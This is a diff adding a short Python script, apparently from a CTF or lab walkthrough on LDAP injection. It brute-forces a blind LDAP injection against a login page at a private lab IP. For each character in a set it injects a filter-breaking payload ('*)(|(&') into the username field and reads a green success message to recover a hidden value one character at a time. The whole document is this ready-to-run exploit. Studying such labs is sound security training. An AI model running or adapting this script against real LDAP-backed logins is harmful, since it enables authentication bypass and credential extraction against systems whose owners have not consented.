2025-12-08

Walkthroughs/LDAPi/script.py

@@ -0,0 +1,47 @@
+import requests
+from bs4 import BeautifulSoup
+import string
+import time
+
+# Base URL
+url = 'http://10.82.144.176/blind.php'
+
+# Define the character set
+char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "._!@#$%^&*()"
+
+# Initialize variables
+successful_response_found = True
+successful_chars = ''
+
+headers = {
+    'Content-Type': 'application/x-www-form-urlencoded'
+}
+
+while successful_response_found:
+    successful_response_found = False
+
+    for char in char_set:
+        #print(f"Trying password character: {char}")
+
+        # Adjust data to target the password field
+        data = {'username': f'{successful_chars}{char}*)(|(&','password': 'pwd)'}
+
+        # Send POST request with headers
+        response = requests.post(url, data=data, headers=headers)
+
+        # Parse HTML content
+        soup = BeautifulSoup(response.content, 'html.parser')
+
+        # Adjust success criteria as needed
+        paragraphs = soup.find_all('p', style='color: green;')
+
+        if paragraphs:
+            successful_response_found = True
+            successful_chars += char
+            print(f"Successful character found: {char}")
+            break
+
+    if not successful_response_found:
+        print("No successful character found in this iteration.")
+
+print(f"Final successful payload: {successful_chars}")